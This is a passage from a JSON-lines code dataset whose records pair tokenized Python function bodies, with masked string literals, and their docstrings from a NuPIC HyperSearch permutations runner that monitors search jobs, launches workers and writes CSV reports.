self.__modelIDs[self.__nextIndex:idRange]<EOL>self.__nextIndex += (idRange - self.__nextIndex)<EOL>infoList = _clientJobsDB().modelsInfo(lookupIDs)<EOL>assert len(infoList) == len(lookupIDs),\"<STR_LIT>\" %(len(infoList), len(lookupIDs))<EOL>for rawInfo in infoList:<EOL><INDENT>modelInfo = _NupicModelInfo(rawInfo=rawInfo)<EOL>self.__modelCache.append(modelInfo)<EOL><DEDENT>assert len(self.__modelCache) == len(lookupIDs),\"<STR_LIT>\" %(len(self.__modelCache), len(lookupIDs))<EOL>if self.debug:<EOL><INDENT>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" %(len(self.__modelCache),))<EOL><DEDENT><DEDENT><DEDENT>return ModelInfoIterator(modelIDs)<EOL>", "docstring": "Creates an iterator that returns ModelInfo elements for the given modelIDs\n\n    WARNING:      The order of ModelInfo elements returned by the iterator\n                  may not match the order of the given modelIDs\n\n    Parameters:\n    ----------------------------------------------------------------------\n    modelIDs:       A sequence of model identifiers (e.g., as returned by\n                    _HyperSearchJob.queryModelIDs()).\n    retval:         Iterator that returns ModelInfo elements for the given\n                    modelIDs (NOTE:possibly in a different order)", "id": "f17598:m21"}
{"signature": "def __init__(self, options):", "body": "self.__cjDAO = _clientJobsDB()<EOL>self._options = options<EOL>self.__searchJob = None<EOL>self.__foundMetrcsKeySet = set()<EOL>self._workers = None<EOL>return<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\noptions:        NupicRunPermutations options dict\nretval:         nothing", "id": "f17598:c1:m0"}
{"signature": "def runNewSearch(self):", "body": "self.__searchJob = self.__startSearch()<EOL>self.monitorSearchJob()<EOL>", "docstring": "Start a new hypersearch job and monitor it to completion\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         nothing", "id": "f17598:c1:m1"}
{"signature": "def pickupSearch(self):", "body": "self.__searchJob = self.loadSavedHyperSearchJob(<EOL>permWorkDir=self._options[\"<STR_LIT>\"],<EOL>outputLabel=self._options[\"<STR_LIT>\"])<EOL>self.monitorSearchJob()<EOL>", "docstring": "Pick up the latest search from a saved jobID and monitor it to completion\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         nothing", "id": "f17598:c1:m2"}
{"signature": "def monitorSearchJob(self):", "body": "assert self.__searchJob is not None<EOL>jobID = self.__searchJob.getJobID()<EOL>startTime = time.time()<EOL>lastUpdateTime = datetime.now()<EOL>expectedNumModels = self.__searchJob.getExpectedNumModels(<EOL>searchMethod = self._options[\"<STR_LIT>\"])<EOL>lastNumFinished = <NUM_LIT:0><EOL>finishedModelIDs = set()<EOL>finishedModelStats = _ModelStats()<EOL>lastWorkerState = None<EOL>lastJobResults = None<EOL>lastModelMilestones = None<EOL>lastEngStatus = None<EOL>hyperSearchFinished = False<EOL>while not hyperSearchFinished:<EOL><INDENT>jobInfo = self.__searchJob.getJobStatus(self._workers)<EOL>hyperSearchFinished = jobInfo.isFinished()<EOL>modelIDs = self.__searchJob.queryModelIDs()<EOL>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % (<EOL>len(modelIDs), len(finishedModelIDs)))<EOL>if len(modelIDs) > <NUM_LIT:0>:<EOL><INDENT>checkModelIDs = []<EOL>for modelID in modelIDs:<EOL><INDENT>if modelID not in finishedModelIDs:<EOL><INDENT>checkModelIDs.append(modelID)<EOL><DEDENT><DEDENT>del modelIDs<EOL>if checkModelIDs:<EOL><INDENT>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % (len(checkModelIDs)))<EOL>errorCompletionMsg = None<EOL>for (i, modelInfo) in enumerate(_iterModels(checkModelIDs)):<EOL><INDENT>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % (i, modelInfo))<EOL>if modelInfo.isFinished():<EOL><INDENT>finishedModelIDs.add(modelInfo.getModelID())<EOL>finishedModelStats.update(modelInfo)<EOL>if (modelInfo.getCompletionReason().isError() and<EOL>not errorCompletionMsg):<EOL><INDENT>errorCompletionMsg = modelInfo.getCompletionMsg()<EOL><DEDENT>metrics = modelInfo.getReportMetrics()<EOL>self.__foundMetrcsKeySet.update(list(metrics.keys()))<EOL><DEDENT><DEDENT><DEDENT>numFinished = len(finishedModelIDs)<EOL>if numFinished != lastNumFinished:<EOL><INDENT>lastNumFinished = numFinished<EOL>if expectedNumModels is None:<EOL><INDENT>expModelsStr = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>expModelsStr = \"<STR_LIT>\" % (expectedNumModels)<EOL><DEDENT>stats = finishedModelStats<EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>jobID,<EOL>numFinished,<EOL>expModelsStr,<EOL>(stats.numCompletedEOF+stats.numCompletedStopped),<EOL>\"<STR_LIT>\" if stats.numCompletedEOF else \"<STR_LIT>\",<EOL>stats.numCompletedEOF,<EOL>\"<STR_LIT>\" if stats.numCompletedStopped else \"<STR_LIT>\",<EOL>stats.numCompletedStopped,<EOL>\"<STR_LIT>\" if stats.numCompletedKilled else \"<STR_LIT>\",<EOL>stats.numCompletedKilled,<EOL>\"<STR_LIT>\" if stats.numCompletedError else \"<STR_LIT:error>\",<EOL>stats.numCompletedError,<EOL>\"<STR_LIT>\" if stats.numCompletedError else \"<STR_LIT>\",<EOL>stats.numCompletedOrphaned,<EOL>\"<STR_LIT>\" if stats.numCompletedOther else \"<STR_LIT>\",<EOL>stats.numCompletedOther)))<EOL>if errorCompletionMsg:<EOL><INDENT>print(\"<STR_LIT>\" % errorCompletionMsg)<EOL><DEDENT><DEDENT>workerState = jobInfo.getWorkerState()<EOL>if workerState != lastWorkerState:<EOL><INDENT>print(\"<STR_LIT>\" % (pprint.pformat(workerState,<EOL>indent=<NUM_LIT:4>)))<EOL>lastWorkerState = workerState<EOL><DEDENT>jobResults = jobInfo.getResults()<EOL>if jobResults != lastJobResults:<EOL><INDENT>print(\"<STR_LIT>\"% (pprint.pformat(jobResults, indent=<NUM_LIT:4>), time.time()-startTime))<EOL>lastJobResults = jobResults<EOL><DEDENT>modelMilestones = jobInfo.getModelMilestones()<EOL>if modelMilestones != lastModelMilestones:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>pprint.pformat(modelMilestones, indent=<NUM_LIT:4>)))<EOL>lastModelMilestones = modelMilestones<EOL><DEDENT>engStatus = jobInfo.getEngStatus()<EOL>if engStatus != lastEngStatus:<EOL><INDENT>print(\"<STR_LIT>\" % (engStatus))<EOL>lastEngStatus = engStatus<EOL><DEDENT><DEDENT>if not hyperSearchFinished:<EOL><INDENT>if self._options[\"<STR_LIT>\"] != None:<EOL><INDENT>if ((datetime.now() - lastUpdateTime) ><EOL>timedelta(minutes=self._options[\"<STR_LIT>\"])):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.__cjDAO.jobCancel(jobID)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>modelIDs = self.__searchJob.queryModelIDs()<EOL>print(\"<STR_LIT>\" % len(modelIDs))<EOL>print(\"<STR_LIT>\")<EOL>jobInfo = self.__searchJob.getJobStatus(self._workers)<EOL>print(\"<STR_LIT>\" % (jobInfo.getWorkerCompletionMsg()))<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nretval:         nothing", "id": "f17598:c1:m3"}
{"signature": "def _launchWorkers(self, cmdLine, numWorkers):", "body": "self._workers = []<EOL>for i in range(numWorkers):<EOL><INDENT>stdout = tempfile.NamedTemporaryFile(delete=False)<EOL>stderr = tempfile.NamedTemporaryFile(delete=False)<EOL>p = subprocess.Popen(cmdLine, bufsize=<NUM_LIT:1>, env=os.environ, shell=True,<EOL>stdin=None, stdout=stdout, stderr=stderr)<EOL>p._stderr_file = stderr<EOL>p._stdout_file = stdout<EOL>self._workers.append(p)<EOL><DEDENT>", "docstring": "Launch worker processes to execute the given command line\n\n        Parameters:\n        -----------------------------------------------\n        cmdLine: The command line for each worker\n        numWorkers: number of workers to launch", "id": "f17598:c1:m4"}
{"signature": "def __startSearch(self):", "body": "<EOL>params = _ClientJobUtils.makeSearchJobParamsDict(options=self._options,<EOL>forRunning=True)<EOL>if self._options[\"<STR_LIT:action>\"] == \"<STR_LIT>\":<EOL><INDENT>args = [sys.argv[<NUM_LIT:0>], \"<STR_LIT>\" % (json.dumps(params))]<EOL>print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>jobID = hypersearch_worker.main(args)<EOL><DEDENT>else:<EOL><INDENT>cmdLine = _setUpExports(self._options[\"<STR_LIT>\"])<EOL>cmdLine += \"<STR_LIT>\"<EOL>maxWorkers = self._options[\"<STR_LIT>\"]<EOL>jobID = self.__cjDAO.jobInsert(<EOL>client=\"<STR_LIT>\",<EOL>cmdLine=cmdLine,<EOL>params=json.dumps(params),<EOL>minimumWorkers=<NUM_LIT:1>,<EOL>maximumWorkers=maxWorkers,<EOL>jobType=self.__cjDAO.JOB_TYPE_HS)<EOL>cmdLine = \"<STR_LIT>\"\"<STR_LIT>\" % (jobID)<EOL>self._launchWorkers(cmdLine, maxWorkers)<EOL><DEDENT>searchJob = _HyperSearchJob(jobID)<EOL>self.__saveHyperSearchJobID(<EOL>permWorkDir=self._options[\"<STR_LIT>\"],<EOL>outputLabel=self._options[\"<STR_LIT>\"],<EOL>hyperSearchJob=searchJob)<EOL>if self._options[\"<STR_LIT:action>\"] == \"<STR_LIT>\":<EOL><INDENT>print(\"<STR_LIT>\" % (jobID))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % (jobID))<EOL>_emit(Verbosity.DEBUG,<EOL>\"<STR_LIT>\" % (cmdLine,))<EOL><DEDENT>return searchJob<EOL>", "docstring": "Starts HyperSearch as a worker or runs it inline for the \"dryRun\" action\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         the new _HyperSearchJob instance representing the\n                        HyperSearch job", "id": "f17598:c1:m5"}
{"signature": "def peekSearchJob(self):", "body": "assert self.__searchJob is not None<EOL>return self.__searchJob<EOL>", "docstring": "Retrieves the runner's _HyperSearchJob instance; NOTE: only available\n        after run().\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         _HyperSearchJob instance or None", "id": "f17598:c1:m6"}
{"signature": "def getDiscoveredMetricsKeys(self):", "body": "return tuple(self.__foundMetrcsKeySet)<EOL>", "docstring": "Returns a tuple of all metrics keys discovered while running HyperSearch.\n\n        NOTE: This is an optimization so that our client may\n            use this info for generating the report csv file without having\n            to pre-scan all modelInfos\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         Tuple of metrics keys discovered while running\n                        HyperSearch;", "id": "f17598:c1:m7"}
{"signature": "@classmethod<EOL><INDENT>def printModels(cls, options):<DEDENT>", "body": "print(\"<STR_LIT>\")<EOL>searchParams = _ClientJobUtils.makeSearchJobParamsDict(options=options)<EOL>", "docstring": "Prints a listing of experiments that would take place without\n        actually executing them.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        options:        NupicRunPermutations options dict\n        retval:         nothing", "id": "f17598:c1:m8"}
{"signature": "@classmethod<EOL><INDENT>def generateReport(cls,<EOL>options,<EOL>replaceReport,<EOL>hyperSearchJob,<EOL>metricsKeys):<DEDENT>", "body": "<EOL>if hyperSearchJob is None:<EOL><INDENT>hyperSearchJob = cls.loadSavedHyperSearchJob(<EOL>permWorkDir=options[\"<STR_LIT>\"],<EOL>outputLabel=options[\"<STR_LIT>\"])<EOL><DEDENT>modelIDs = hyperSearchJob.queryModelIDs()<EOL>bestModel = None<EOL>metricstmp = set()<EOL>searchVar = set()<EOL>for modelInfo in _iterModels(modelIDs):<EOL><INDENT>if modelInfo.isFinished():<EOL><INDENT>vars = list(modelInfo.getParamLabels().keys())<EOL>searchVar.update(vars)<EOL>metrics = modelInfo.getReportMetrics()<EOL>metricstmp.update(list(metrics.keys()))<EOL><DEDENT><DEDENT>if metricsKeys is None:<EOL><INDENT>metricsKeys = metricstmp<EOL><DEDENT>reportWriter = _ReportCSVWriter(hyperSearchJob=hyperSearchJob,<EOL>metricsKeys=metricsKeys,<EOL>searchVar=searchVar,<EOL>outputDirAbsPath=options[\"<STR_LIT>\"],<EOL>outputLabel=options[\"<STR_LIT>\"],<EOL>replaceReport=replaceReport)<EOL>modelStats = _ModelStats()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>searchParams = hyperSearchJob.getParams()<EOL>(optimizationMetricKey, maximizeMetric) = (<EOL>_PermutationUtils.getOptimizationMetricInfo(searchParams))<EOL>formatStr = None<EOL>foundMetricsKeySet = set(metricsKeys)<EOL>sortedMetricsKeys = []<EOL>jobInfo = _clientJobsDB().jobInfo(hyperSearchJob.getJobID())<EOL>if jobInfo.cancel == <NUM_LIT:1>:<EOL><INDENT>raise Exception(jobInfo.workerCompletionMsg)<EOL><DEDENT>try:<EOL><INDENT>results = json.loads(jobInfo.results)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\"\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", jobInfo)<EOL>print(\"<STR_LIT>\", jobInfo.results)<EOL>print(\"<STR_LIT>\", e)<EOL>raise<EOL><DEDENT>bestModelNum = results[\"<STR_LIT>\"]<EOL>bestModelIterIndex = None<EOL>totalWallTime = <NUM_LIT:0><EOL>totalRecords = <NUM_LIT:0><EOL>scoreModelIDDescList = []<EOL>for (i, modelInfo) in enumerate(_iterModels(modelIDs)):<EOL><INDENT>reportWriter.emit(modelInfo)<EOL>totalRecords+=modelInfo.getNumRecords()<EOL>format = \"<STR_LIT>\"<EOL>startTime = modelInfo.getStartTime()<EOL>if modelInfo.isFinished():<EOL><INDENT>endTime = modelInfo.getEndTime()<EOL>st = datetime.strptime(startTime, format)<EOL>et = datetime.strptime(endTime, format)<EOL>totalWallTime+=(et-st).seconds<EOL><DEDENT>modelStats.update(modelInfo)<EOL>expDesc = modelInfo.getModelDescription()<EOL>reportMetrics = modelInfo.getReportMetrics()<EOL>optimizationMetrics = modelInfo.getOptimizationMetrics()<EOL>if modelInfo.getModelID() == bestModelNum:<EOL><INDENT>bestModel = modelInfo<EOL>bestModelIterIndex=i<EOL>bestMetric = list(optimizationMetrics.values())[<NUM_LIT:0>]<EOL><DEDENT>if optimizationMetrics:<EOL><INDENT>assert len(optimizationMetrics) == <NUM_LIT:1>, (<EOL>\"<STR_LIT>\" % (<EOL>len(optimizationMetrics), optimizationMetrics, modelInfo))<EOL><DEDENT>if modelInfo.getCompletionReason().isEOF():<EOL><INDENT>scoreModelIDDescList.append((list(optimizationMetrics.values())[<NUM_LIT:0>],<EOL>modelInfo.getModelID(),<EOL>modelInfo.getGeneratedDescriptionFile(),<EOL>modelInfo.getParamLabels()))<EOL><DEDENT>print(\"<STR_LIT>\" % (i, modelInfo, expDesc))<EOL>if (modelInfo.isFinished() and<EOL>not (modelInfo.getCompletionReason().isStopped or<EOL>modelInfo.getCompletionReason().isEOF())):<EOL><INDENT>print(\"<STR_LIT>\" % modelInfo.getCompletionMsg())<EOL><DEDENT>if reportMetrics:<EOL><INDENT>foundMetricsKeySet.update(iter(reportMetrics.keys()))<EOL>if len(sortedMetricsKeys) != len(foundMetricsKeySet):<EOL><INDENT>sortedMetricsKeys = sorted(foundMetricsKeySet)<EOL>maxKeyLen = max([len(k) for k in sortedMetricsKeys])<EOL>formatStr = \"<STR_LIT>\" % (maxKeyLen+<NUM_LIT:2>)<EOL><DEDENT>for key in sortedMetricsKeys:<EOL><INDENT>if key in reportMetrics:<EOL><INDENT>if key == optimizationMetricKey:<EOL><INDENT>m = \"<STR_LIT>\" % reportMetrics[key]<EOL><DEDENT>else:<EOL><INDENT>m = \"<STR_LIT>\" % reportMetrics[key]<EOL><DEDENT>print(formatStr % (key+\"<STR_LIT::>\"), m)<EOL><DEDENT><DEDENT>print()<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>if len(modelIDs) > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>len(modelIDs),<EOL>(\"<STR_LIT>\"<EOL>if (modelStats.numCompletedKilled + modelStats.numCompletedEOF) ==<EOL>len(modelIDs)<EOL>else \"<STR_LIT>\" % (<EOL>len(modelIDs) - (<EOL>modelStats.numCompletedKilled + modelStats.numCompletedEOF +<EOL>modelStats.numCompletedStopped)))))<EOL>if modelStats.numStatusOther > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>modelStats.numStatusOther))<EOL><DEDENT>print(\"<STR_LIT>\" % modelStats.numStatusWaitingToStart)<EOL>print(\"<STR_LIT>\" % modelStats.numStatusRunning)<EOL>print(\"<STR_LIT>\" % modelStats.numStatusCompleted)<EOL>if modelStats.numCompletedOther > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>modelStats.numCompletedOther))<EOL><DEDENT>print(\"<STR_LIT>\" % modelStats.numCompletedEOF)<EOL>print(\"<STR_LIT>\" % modelStats.numCompletedStopped)<EOL>print(\"<STR_LIT>\" % modelStats.numCompletedOrphaned)<EOL>print(\"<STR_LIT>\" % modelStats.numCompletedKilled)<EOL>print(\"<STR_LIT>\" % modelStats.numCompletedError)<EOL>assert modelStats.numStatusOther == <NUM_LIT:0>, \"<STR_LIT>\" % (<EOL>modelStats.numStatusOther)<EOL>assert modelStats.numCompletedOther == <NUM_LIT:0>, \"<STR_LIT>\" % (<EOL>modelStats.numCompletedOther)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>print()<EOL>global gCurrentSearch<EOL>jobStatus = hyperSearchJob.getJobStatus(gCurrentSearch._workers)<EOL>jobResults = jobStatus.getResults()<EOL>if \"<STR_LIT>\" in jobResults:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>pprint.pprint(jobResults[\"<STR_LIT>\"], indent=<NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if bestModel is not None:<EOL><INDENT>maxKeyLen = max([len(k) for k in sortedMetricsKeys])<EOL>maxKeyLen = max(maxKeyLen, len(optimizationMetricKey))<EOL>formatStr = \"<STR_LIT>\" % (maxKeyLen+<NUM_LIT:2>)<EOL>bestMetricValue = list(bestModel.getOptimizationMetrics().values())[<NUM_LIT:0>]<EOL>optimizationMetricName = list(bestModel.getOptimizationMetrics().keys())[<NUM_LIT:0>]<EOL>print()<EOL>print(\"<STR_LIT>\" % (<EOL>optimizationMetricName, maximizeMetric))<EOL>print(\"<STR_LIT>\" % (<EOL>bestModelIterIndex, bestModel, bestModel.getModelDescription()))<EOL>print(formatStr % (optimizationMetricName+\"<STR_LIT::>\"), bestMetricValue)<EOL>print()<EOL>print(\"<STR_LIT>\"  % totalRecords)<EOL>print()<EOL>print(\"<STR_LIT>\" % totalWallTime)<EOL>hsJobParams = hyperSearchJob.getParams()<EOL><DEDENT>if options[\"<STR_LIT>\"] > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>options[\"<STR_LIT>\"]))<EOL>scoreModelIDDescList.sort()<EOL>scoreModelIDDescList = scoreModelIDDescList[<EOL><NUM_LIT:0>:options[\"<STR_LIT>\"]]<EOL>i = -<NUM_LIT:1><EOL>for (score, modelID, description, paramLabels) in scoreModelIDDescList:<EOL><INDENT>i += <NUM_LIT:1><EOL>outDir = os.path.join(options[\"<STR_LIT>\"], \"<STR_LIT>\" % (i))<EOL>print(\"<STR_LIT>\" %(modelID, outDir))<EOL>if not os.path.exists(outDir):<EOL><INDENT>os.makedirs(outDir)<EOL><DEDENT>base_description_path = os.path.join(options[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\")<EOL>base_description_relpath = os.path.relpath(base_description_path,<EOL>start=outDir)<EOL>description = description.replace(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\" % base_description_relpath)<EOL>fd = open(os.path.join(outDir, \"<STR_LIT>\"), \"<STR_LIT:wb>\")<EOL>fd.write(description)<EOL>fd.close()<EOL>fd = open(os.path.join(outDir, \"<STR_LIT>\"), \"<STR_LIT:wb>\")<EOL>writer = csv.writer(fd)<EOL>colNames = list(paramLabels.keys())<EOL>colNames.sort()<EOL>writer.writerow(colNames)<EOL>row = [paramLabels[x] for x in colNames]<EOL>writer.writerow(row)<EOL>fd.close()<EOL>print(\"<STR_LIT>\")<EOL>mod = imp.load_source(\"<STR_LIT:description>\", os.path.join(outDir,<EOL>\"<STR_LIT>\"))<EOL>model_description = mod.descriptionInterface.getModelDescription()<EOL>fd = open(os.path.join(outDir, \"<STR_LIT>\"), \"<STR_LIT:wb>\")<EOL>fd.write(\"<STR_LIT>\" % (getCopyrightHead(),<EOL>pprint.pformat(model_description)))<EOL>fd.close()<EOL><DEDENT>print()<EOL><DEDENT>reportWriter.finalize()<EOL>return model_description<EOL>", "docstring": "Prints all available results in the given HyperSearch job and emits\n        model information to the permutations report csv.\n\n        The job may be completed or still in progress.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        options:        NupicRunPermutations options dict\n        replaceReport:  True to replace existing report csv, if any; False to\n                        append to existing report csv, if any\n        hyperSearchJob: _HyperSearchJob instance; if None, will get it from saved\n                        jobID, if any\n        metricsKeys:    sequence of report metrics key names to include in report;\n                        if None, will pre-scan all modelInfos to generate a complete\n                        list of metrics key names.\n        retval:         model parameters", "id": "f17598:c1:m9"}
{"signature": "@classmethod<EOL><INDENT>def loadSavedHyperSearchJob(cls, permWorkDir, outputLabel):<DEDENT>", "body": "jobID = cls.__loadHyperSearchJobID(permWorkDir=permWorkDir,<EOL>outputLabel=outputLabel)<EOL>searchJob = _HyperSearchJob(nupicJobID=jobID)<EOL>return searchJob<EOL>", "docstring": "Instantiates a _HyperSearchJob instance from info saved in file\n\n        Parameters:\n        ----------------------------------------------------------------------\n        permWorkDir: Directory path for saved jobID file\n        outputLabel: Label string for incorporating into file name for saved jobID\n        retval:      _HyperSearchJob instance; raises exception if not found", "id": "f17598:c1:m10"}
{"signature": "@classmethod<EOL><INDENT>def __saveHyperSearchJobID(cls, permWorkDir, outputLabel, hyperSearchJob):<DEDENT>", "body": "jobID = hyperSearchJob.getJobID()<EOL>filePath = cls.__getHyperSearchJobIDFilePath(permWorkDir=permWorkDir,<EOL>outputLabel=outputLabel)<EOL>if os.path.exists(filePath):<EOL><INDENT>_backupFile(filePath)<EOL><DEDENT>d = dict(hyperSearchJobID = jobID)<EOL>with open(filePath, \"<STR_LIT:wb>\") as jobIdPickleFile:<EOL><INDENT>pickle.dump(d, jobIdPickleFile)<EOL><DEDENT>", "docstring": "Saves the given _HyperSearchJob instance's jobID to file\n\n        Parameters:\n        ----------------------------------------------------------------------\n        permWorkDir:   Directory path for saved jobID file\n        outputLabel:   Label string for incorporating into file name for saved jobID\n        hyperSearchJob: _HyperSearchJob instance\n        retval:        nothing", "id": "f17598:c1:m11"}
{"signature": "@classmethod<EOL><INDENT>def __loadHyperSearchJobID(cls, permWorkDir, outputLabel):<DEDENT>", "body": "filePath = cls.__getHyperSearchJobIDFilePath(permWorkDir=permWorkDir,<EOL>outputLabel=outputLabel)<EOL>jobID = None<EOL>with open(filePath, \"<STR_LIT:r>\") as jobIdPickleFile:<EOL><INDENT>jobInfo = pickle.load(jobIdPickleFile)<EOL>jobID = jobInfo[\"<STR_LIT>\"]<EOL><DEDENT>return jobID<EOL>", "docstring": "Loads a saved jobID from file\n\n        Parameters:\n        ----------------------------------------------------------------------\n        permWorkDir:  Directory path for saved jobID file\n        outputLabel:  Label string for incorporating into file name for saved jobID\n        retval:       HyperSearch jobID; raises exception if not found.", "id": "f17598:c1:m12"}
{"signature": "@classmethod<EOL><INDENT>def __getHyperSearchJobIDFilePath(cls, permWorkDir, outputLabel):<DEDENT>", "body": "<EOL>basePath = permWorkDir<EOL>filename = \"<STR_LIT>\" % (outputLabel,)<EOL>filepath = os.path.join(basePath, filename)<EOL>return filepath<EOL>", "docstring": "Returns filepath where to store HyperSearch JobID\n\n        Parameters:\n        ----------------------------------------------------------------------\n        permWorkDir: Directory path for saved jobID file\n        outputLabel: Label string for incorporating into file name for saved jobID\n        retval:      Filepath where to store HyperSearch JobID", "id": "f17598:c1:m13"}
{"signature": "def __init__(self,<EOL>hyperSearchJob,<EOL>metricsKeys,<EOL>searchVar,<EOL>outputDirAbsPath,<EOL>outputLabel,<EOL>replaceReport):", "body": "self.__searchJob = hyperSearchJob<EOL>self.__searchJobID = hyperSearchJob.getJobID()<EOL>self.__sortedMetricsKeys = sorted(metricsKeys)<EOL>self.__outputDirAbsPath = os.path.abspath(outputDirAbsPath)<EOL>self.__outputLabel = outputLabel<EOL>self.__replaceReport = replaceReport<EOL>self.__sortedVariableNames=searchVar<EOL>self.__csvFileObj = None<EOL>self.__reportCSVPath = None<EOL>self.__backupCSVPath = None<EOL>", "docstring": "Parameters:\n----------------------------------------------------------------------\nhyperSearchJob: _HyperSearchJob instance\nmetricsKeys:    sequence of report metrics key names to include in report\noutputDirAbsPath:\n                Directory for creating report CSV file (absolute path)\noutputLabel:    A string label to incorporate into report CSV file name\nreplaceReport:  True to replace existing report csv, if any; False to\n                append to existing report csv, if any\nretval:         nothing", "id": "f17598:c3:m0"}
{"signature": "def emit(self, modelInfo):", "body": "<EOL>if self.__csvFileObj is None:<EOL><INDENT>self.__openAndInitCSVFile(modelInfo)<EOL><DEDENT>csv = self.__csvFileObj<EOL>print(\"<STR_LIT>\" % (self.__searchJobID), end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\" % (modelInfo.getModelID()), end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\" % (modelInfo.statusAsString()), end='<STR_LIT:U+0020>', file=csv)<EOL>if modelInfo.isFinished():<EOL><INDENT>print(\"<STR_LIT>\" % (modelInfo.getCompletionReason()), end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>if not modelInfo.isWaitingToStart():<EOL><INDENT>print(\"<STR_LIT>\" % (modelInfo.getStartTime()), end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>if modelInfo.isFinished():<EOL><INDENT>dateFormat = \"<STR_LIT>\"<EOL>startTime = modelInfo.getStartTime()<EOL>endTime = modelInfo.getEndTime()<EOL>print(\"<STR_LIT>\" % endTime, end='<STR_LIT:U+0020>', file=csv)<EOL>st = datetime.strptime(startTime, dateFormat)<EOL>et = datetime.strptime(endTime, dateFormat)<EOL>print(\"<STR_LIT>\" % (str((et - st).seconds)), end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>print(\"<STR_LIT>\" % str(modelInfo.getModelDescription()), end='<STR_LIT:U+0020>', file=csv)<EOL>print(\"<STR_LIT>\" % str(modelInfo.getNumRecords()), end='<STR_LIT:U+0020>', file=csv)<EOL>paramLabelsDict = modelInfo.getParamLabels()<EOL>for key in self.__sortedVariableNames:<EOL><INDENT>if key in paramLabelsDict:<EOL><INDENT>print(\"<STR_LIT>\" % (paramLabelsDict[key]), end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT><DEDENT>metrics = modelInfo.getReportMetrics()<EOL>for key in self.__sortedMetricsKeys:<EOL><INDENT>value = metrics.get(key, \"<STR_LIT>\")<EOL>value = str(value)<EOL>value = value.replace(\"<STR_LIT:\\n>\", \"<STR_LIT:U+0020>\")<EOL>print(\"<STR_LIT>\" % (value), end='<STR_LIT:U+0020>', file=csv)<EOL><DEDENT>print(file=csv)<EOL>", "docstring": "Emit model info to csv file\n\n        Parameters:\n        ----------------------------------------------------------------------\n        modelInfo:      _NupicModelInfo instance\n        retval:         nothing", "id": "f17598:c3:m1"}
{"signature": "def finalize(self):", "body": "if self.__csvFileObj is not None:<EOL><INDENT>self.__csvFileObj.close()<EOL>self.__csvFileObj = None<EOL>print(\"<STR_LIT>\" % (self.__reportCSVPath,))<EOL>if self.__backupCSVPath:<EOL><INDENT>print(\"<STR_LIT>\" %(self.__backupCSVPath,))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Close file and print report/backup csv file paths\n\n        Parameters:\n        ----------------------------------------------------------------------\n        retval:         nothing", "id": "f17598:c3:m2"}
